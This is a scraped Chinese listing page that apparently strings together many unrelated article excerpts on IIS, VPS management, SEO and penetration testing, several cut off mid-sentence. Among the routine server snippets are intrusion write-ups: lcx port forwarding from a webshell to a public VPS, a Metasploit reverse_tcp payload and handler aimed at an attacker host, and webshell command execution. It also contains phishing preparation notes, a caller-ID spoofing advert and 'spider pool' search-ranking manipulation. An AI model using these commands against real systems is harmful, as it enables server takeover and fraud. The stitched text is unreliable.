IIS（Internet Information Server，互联网信息服务）是 windows 系统自带的网页服务组件，之前我们学习了windows VPS 如何建立网站和数据库，并没有提到这个 IIS 管理器的添加，主要原因是有一部分 VPS 商家会提前安装好 IIS 服务，省去了站长手动添加 IIS 的麻烦。不过作为站长一定要学会在windows2003 如何搭建 IIS，下面进入正题。 要添加 IIS，首先打开“控制面板”，选择“添加/删除程序”→“添加/删除 Windows 组件”，把“Inte
IIS7远程桌面连接工具是用来批量桌面远程连接的工具，对于拥有多个windows服务器 和 vps的朋友来说这个程序的确能帮助解决很多问题，轻松方便，能很好的提高你的工作效率。下面我们来看看要怎么使用IIS7远程桌面连接工具。
最早老魏做网站的时候，公司服务器用的都是 windows2000，后来更换为 windows2003，因为放的都是企业网站，一天也没几个流量。当然现在各种 PHP 程序越来越多，linux 虚拟主机和服务器也越来越普及了，但是国内还是有很多 windows 服务器在运行着，遇到各种问题也在所难免。 一个新手朋友在学习搭建 windows 服务器，安装完 IIS 后打开网站是 404 错误页面。那么我们就这个例子来说一下 Windows2003 安装 IIS 不支持 ASP 解决办法。 1、如果你还没有添加网
该公司来到天。我们所从事的事情在网站上。这对我来说确实是一个很大的挑战。个人一直从事Android，对于web而一个开发网站server知识的几乎为零。在这里应该说，现在我只是有一个技术人员，昨天相遇CGI ERROR错误（The specified CGI application misbehaved by not returning a complete set of HTTP headers.）把我搞了好久好久。经过今天的早上爬帖。最终找到问题所在。以下还是把新学到的知识梳理一下吧：
说到影响网站优化的因素，绝大部分人能想到就是网站结构、关键词布局等一些比较直观的影响因素，很少会有人注意到服务器对网站优化的影响。要知道所有的网站都依附于服务器硬件，所以服务器的性能对网站优化的影响也是很大的。
独立主机/VPS 一键开启IIS的GZIP方法 http://www.jb51.net/article/30151.htm
Websitepanel是一个开源，免费的用于Windows2003或Windows2008平台的虚拟主机管理系统。支持集群 分布式架构 。 支持系统 Windows Server 2008 R2 全部版本 Windows Server 2008 全部版本, 32 和 64 位 Windows Server 2003 全部版本, 32 和 64 位 Web 服务器 IIS 7.5 IIS 7.0 IIS 6.0 ColdFusion 7/8/9 FTP 服务器 MS FTP 7.5 MS FT
前面说到了如何下载安装使用 SSH 软件，魏艾斯博客常用的是 Xshell。今天我们来说说在 linux VPS centOS 系统中如何下载安装 lnmp 环境。 首先我们还是用 Xshell 远程登陆到 vps 上面，国内普遍使用军哥 lnmp 一键安装包，在 Xshell 里面输入命令远程下载 LNMP 一键安装包（注意命令中间的空格）： wget https://soft7.vpser.net/lnmp/lnmp1.3-full.tar.gz 懒人可以复制上面这段命令，到 Xshell 的界面右键
方法二：修改注册表，（注意修改注册表前一定要先备份一下注册表，备份方法。在 运行>regedit，选择 文件》导出 ，取个文件名，导出即可，如果修改注册表失败，可以找到导出的注册表文件双击运行即可。） HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters 新建 “DWORD值”值名为 “AutoShareServer” 数据值为“0”
大家好，又见面了，我是你们的朋友全栈君。 介绍一个 FTP客户端-IIS7服务器管理工具 作为FTP客户端，它支持批量管理ftp站点。定时上传和定时下载，定时备份，且操作简洁。同时ii
魏艾斯博客曾经写过有关 windows 服务器部署 web 环境的文章，比如windows VPS 中如何用网站管理助手建立网站和数据库使用的西部数据网站管理助手；国内目前最好用的宝塔面板，windows VPS 用宝塔网站助手建立网站和数据库，这些都是 windows 服务器中常见的搭建环境工具。本着尝试更多工具软件的目的，今天老魏来介绍下快云小助手（又叫快云管理助手）windows 服务器快速部署 web 环境的过程。 本文老魏主要介绍安装过程及简单搭建 web 环境的过程，做一个初步的研究和探讨。 一
如果您租用了很多云服务器、VPS，要登录这些远程计算机，常规做法是：“开始”菜单/Windows附件”/“远程桌面连接”，或者运行“mstsc”，然后输入连接地址账号密码再连接。有几台就要操作多少次，真的很头疼。
可以在VPS上搭建speedtest测速网站来测试VPS的带宽，也可以在局域网内搭建speedtest来测试内网带宽。本文讲解如何在Linux和Windows和群晖上搭建speedtest服务器。
任意显示手机号，使用者想令对方看到你的手机号是怎样的，对方就看到是怎样的，不会显示机主号。
网站打开速度一向是网站运营者和SEO工作者关注的重要指标。百度在网站优化白皮书中也提到需要注重网站访问速度。2017年更是退出了针对移动端访问推出闪电算法（博文：百度闪电算法的功能及解读）。算法的核心就是页面在移动端首屏加载需要控制在2s以内。随着网络的发展，带宽资源的扩充，现在已经很少碰到网页一等就是十几秒尴尬的情景了，虽说如此，但是还有很多站点加载速度超过5秒。本文尝试从多个角度来简单解释提升网站速度的方法。
魏艾斯博客曾经写过几篇 windows 服务器的环境包安装教程，比如Windows VPS 服务器一键 phpStudy 安装环境搭建教程，windows VPS 中如何用网站管理助手建立网站和数据库和windows VPS 用宝塔网站助手建立网站和数据库。windows 服务器用来建站的好处是和我们平时本地电脑的系统一样，上手比较快；缺点也很明显，windows 本身系统资源占用较大，内存管理机制远不如 linux，运行起来相对来说慢一些。 无论如何为了给新手们普及服务器架设知识（也是老魏建立这个博客的初
前面我们讲过虚拟主机、VPS、独立服务器的区别，站长们在确定购买哪种网站空间以后，就需要根据具体参数来选择网站空间了。今天赵一八笔记给大家聊聊那些买空间必须要看懂的虚拟主机参数。
Date/time：2013年，这次的目标就是这台服务器权限，接下来这篇文章会写出在此次渗透中遇到的一些阻碍分析及最终拿到服务器权限的过程。其实这次的渗透应该来说还是挺简单的，都是常规的渗透思路，这次的渗透再次证明了细心、耐心和经验的重要性！
使用2011版菜刀访问某个webshell，发现被WAF拦截,，使用2016版可连，想看一下两者的发包特征，搭个IIS、Apache、Nginx、Tomcat环境来看post数据,默认中间件不显示这些数据，有些人可能压根就不会搭，你本意只是想看个发包，还要浪费时间去搭环境？当然也可以使用WireShark等抓包工具，但是又不会用怎么办？没事使用Ladon一条命令就搞定，非常简单。以前教大家用过Ladon的web模块捕获windows密码、获取无回显RCE漏洞命令回显、架设WEB远程下载payload、测试漏洞等，实际上还有很多用途，比如捕获0day、捕获工具payload等
正文：在Linux系统中使用xShell如何搜索查找文件里面的内容是查找问题、系统维护当中最常见的需求。搜索、查找文件当中的内容，一般最常用的是grep命令，另外还有egrep, vi命令也能搜索文件里面内容 假如是非压缩包文件，可以用grep命令去搜索，例如： grep –i “被查找的字符串” 文件名 假如是.gz压缩包类型的话，可以用zgrep命令去搜索，例如： zgrep –i “被查找的字符串” 文件名
这篇文章我们主要介绍的是如何利用常用Webshell管理工具中的自定义代码执行功能来上线MSF，附带了中国蚁剑、冰蝎和哥斯拉的内存加载上线，实战渗透中如果遇到以下场景时可尝试文中方法绕过。
(1) 快速判断Metasploit会话完整性 如果直接通过浏览器访问监听IP:Port，或者是在获取会话的过程中按Ctrl+C键强制结束掉了，这时我们获取到的会话可能都是不完整的，即使成功得到了会话，进去之后会发现很多命令都执行不了。 这时可以通过session命令来快速判断我们得到的会话完整性，如果“Information”列中为空白则是不完整，反之则完整。 (2) Payload与目标系统架构不一样 这里说的系统架构不一样是因为我们生成的Msf Payload是x64，而目标系统是x86，在执行Payload过程中会出现“不是有效的Win32应用程序”报错，所以无法获取到会话。 这种情况一般出现在XP/2003机器上，不过x86的Payload可以在x64上成功运行，不存在兼容性问题。 (3) Payload与监听模块设置不一样 我们生成的Msf Payload是x86的，但是在handler监听模块里设置的Payload为x64时就会出现这种会话自动断开的情况。 不过在这种情况下如果Payload是可执行的，我们只需要将handler监听模块里设置的Payload改为对应的x86即可解决。 重点注意：
YGBOOK基于ThinkPHP+MYSQL开发，可以在大部分常见的服务器上运行。
ftp上传下载工具是一种文件传输下载方式，它是TCP/IP协议栈的一部分；其中FTP又由两部分组成，一部分是FTP的服务器，另一部分是FTP的客户端！它能够高效安全地进行文件传输下载操作！可以使用服务器管理工具来作为FTP的客户端，进行FTP的操作，实现FTP的下载安装等！ 第一款：iis7服务器管理软件 iis7远程桌面管理软件，是一款绿色小巧，功能实用的FTP工具软件，其界面简洁，操作方便，它支持FTP批量上传下载，它可以同时连接多台ftp服务器进行文件传输工作，还可以在线解压缩文件，支持文件查找，在线编辑等功能。 同时它还能够同时远程操作多台服务器，并且多台服务器间可以自由切换，适合机房管理、站长、运维工作、程序员使用。适用于Windows系统，Linux系统和VPS服务器等。 在众多好用实用的功能当中，最大的亮点还是属定时上传下载的强大功能了，它可以定时备份，自动更新等，大家都在用，还等什么呢~
个人水平有限，文章若有不足之处，感谢各位大佬批评指正，希望能够与各位师傅分享学习。
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP，不过都失败了，第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地，然后再用lcx把Filezilla Server的14147端口转发出来，lcx执行命令如下。 首先VPS机器监听51端口，连接用14147端口： VPS机器执行： C:\>lcx.exe -listen 51 14147 目标机器执行： /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上，返回右上图这样的报错，Google翻译报错信息得知：协议错误：未通过身份验证，关闭连接，连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接，而且我们本地机器也成功的返回了数据，但是好像返回的数据信息中有错误，如下图。 当前问题： 不能正常把目标服务器的FileZilla Server 14147端口给转发出来，返回数据中出错了，所以无法在本地连接上FileZilla Server服务端。 解决办法： 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件，然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下，那么就需要先在路由器里进行端口映射配置，然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件，命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下，然后进入到MSF完成所有必填的配置选项，执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听，然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件，如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话，然后直接使用portfwd命令进行端口转发即可，执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后，我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
方法二：修改注册表，（注意修改注册表前一定要先备份一下注册表，备份方法。在运行>regedit，选择 文件》导出，取个文件名，导出即可，如果修改注册表失败，可以找到导出的注册表文件双击运行即可。）
因为今天的重点并非nmap本身的使用,主要还是想借这次机会给大家介绍一些在实战中相对比较实用的nmap脚本,所以关于nmap自身的一些基础选项就不多说了,详情可参考博客端口渗透相关文章,废话少说,咱们直接开始,实际中我们可以先用下面的语句,大概扫一眼目标机器或目标C段都跑了什么服务,心里总要先有个谱,之后才好针对性出牌嘛
什么是蜘蛛池？ 蜘蛛池是一种通过利用大型平台权重来获得百度收录以及排名的一种程序，程序员常称为“蜘蛛池”。这是一种可以快速提升网站排名的一种程序，值得一提的是，它是自动提升网站的排名和网站的收录，这个效果是非常出众的。 蜘蛛池程序可以帮助我们做什么？ 发了外链了帖子还不收录，可竞争对手人家一样是发同样的站，人家没发外链也收录了，是吧！ 答:（因为人家养有了数量庞大的百度收录蜘蛛爬虫，有了蜘蛛池你也可以做到） 有些老鸟会说，我自己也养有百度蜘蛛怎么我的也不收录呢？ 答：（因为
【1.能不能执行cmd就看这个命令：net user，net不行就用net1，再不行就上传一个net到可写可读目录，执行/c c:windowstempcookiesnet1.exe user
服务器连接工具： IIS7服务器管理工具是一款windows全系下用于连接并操控基于windows和linux系统的VPS、VNC、FTP等远程服务器、云服务器的管理工具。 界面简单明了，操作易上手，功能强大，支持批量导入服务器，并批量打开，多窗口化管理，除此之外，加载本地硬盘、硬盘映射、加载服务器的声音，远程声卡读取等功能也一应俱全，完全实现了各类场景使用，对于FTP连接界面，其中FTP文件的定时上传，定时下载（也可以说定时上传下载、定时备份）功能，对于经常使用FTP的小伙伴来说，也是非常适用的。 工具支持自动更新，压缩包只有7.62M，方便简洁，一步到位。 下载地址 使用步骤可以看下面的截图，做了详细标注：
html5 Speedtest可用于查看下载速度、ping速度、上传速度；很小巧方便，直接打开页面点击一下start就能自动检测，你本机到远程服务器的网络状况，快速得到观测数据；这款服务器测速软件基于html5+php环境运行，使用非常简单。
Date/time：2013年，早想写这篇文章了，由于最近一直很忙，拖了半个月才抽出时间来写，这篇文章主要记录的是我在一次提权过程中遇到的问题和解决办法，在这里特别感谢@烟神、@落寞两位大哥的耐心指导与讲解。这个站点使用Asp + Access，一个很普通的SQL注入漏洞，这里就不详细写了。
服务器禁ping从某种意义上来说，算是不存活的主机，但nmap是依然能够扫描出来的。 设置禁ping命令： vim /etc/sysctl.conf 打开后按i进入编辑模式，在任意位置新增以下内容 net.ipv4.icmp_echo_ignore_all=1
在 360 网站安全检测时，经常报出“页面异常导致本地路径泄漏”的漏洞，尤其是新安装的 WordPress 网站，那是必然会报。。。 这些漏洞，之前玛思阁就已经手动修复了，但是 WordPress 升
渗透测试有时其实并不是那么难，现在有很多工具被设计用来简化过程，让渗透测试者们更方便，更省时地达到预期目标。今天要介绍的工具是AutoSploit，顾名思义，这个工具的灵感就来源于“高效渗透”，由于该
根据语言、解析漏洞、中间件、系统特性以及一些绕过WAF的方法：黑名单、大小写、ADS流、截断、空格、长度、htaccess等生存文件名字典。
所以事前我们需要准备一个钓鱼网站，为了能让钓鱼网站在公网访问，还需要一个VPS，若想获得更好的伪装效果，还需要一个用于伪装的域名。VPS和域名都到手后，还可以搭建属于自己的邮服用于SMTPRelay。使用恶意附件的话，还需要准备一个恶意样本，能做免杀的话就更好了，接收shell的话，同样需要一个VPS。
在各大网站统计纷纷倒闭或者是转向收费的情况，自建一个网站统计工具变得越来越紧要了。要说免费开源的统计工具，Matomo自然是当仁不让位列第一位了，因为Matomo的前身就是Piwik，一直是开源免费，历史悠久，同时Matomo的统计工具堪称强大。
前段时间看了一下内网渗透，所以想找个环境练习一下，恰好有个兄弟丢了个站点出来，一起“练习内网”，然后就开始了“实战代练”。由于“懒”，所以记录时间和截图有些是补的。
在默认情况下，刚安装的WordPress的所有网页，都带“问号”的PHP动态链接，虽然搜索引擎不抵触动态页面，但是静态页面依然是现在网站的主流。
探测相关插件和Wordpress版本均未发现相关漏洞，尝试弱口令，以弱口令成功登入后台
小编注：本文作者系FreeBuf专栏作者 @碳机体 美眉，目前她的研究方向主攻云防火墙。对文章内容有不清楚的可以直接评论区中留言，注意秩序和素质。 虽然VPS使用了云WAF功能，但还是有点小担心，为了双重保险，决定使用modsecurity来定制规则，以下介绍如何为apache服务器配置ModSecurity防护罩（modsecurity目前也支持Nginx,IIS) 。 本次选择使用包管理器来安装，因为每次使用源码包的安装方式，都会被诡异的库依赖错误弄得发型都抓乱。 安装环境： OS：Ubuntu 14.
如果流量都没有经过WAF，WAF当然无法拦截攻击请求。当前多数云WAF架构，例如百度云加速、阿里云盾等，通过更改DNS解析，把流量引入WAF集群，流量经过检测后转发请求到源站。如图，dict.com接入接入WAF后，dict.com的DNS解析结果指向WAF集群，用户的请求将发送给WAF集群，WAF集群经过检测认为非攻击请求再转发给源站。
今天一连两次被问到简历中提到的高性能Web开发方面的事，看来这种大标题很有诱惑力。
我一直在用这个短链接压缩程序，最近刚好有朋友问到，就写一下教程。 其实很简单，虚拟主机都能安装，但是推荐用 vps 安装，因为虚拟主机只能使用 1.5.1 版本。
图片1、什么是蜘蛛池简单来说，蜘蛛池便是一种经过运用大型渠道权重来获得百度录入以及排名的一种程序。所谓蜘蛛池，指的是做很多泛站让搜索引擎录入，作为本人的外链资源。当有新的网站或新的页面时，把新URL放入到这些泛站资源页面上，可以立即获得蜘蛛的抓取和权重传送。它是一种可以快速进步网站排名的一种程序，值得一提的是，它是自动进步网站的排名和网站的录入，这个效果是非常拔尖的。2、蜘蛛池原理蜘蛛池程序的原理便是将进入变量模板生成很多的网页内容，然后吸大批的蜘蛛，让其不停地在这些页面中抓取，而将我们需求录入的URL添加
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把“亿人安全“设为星标”，否则可能就看不到了啦
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
即时通信 IM
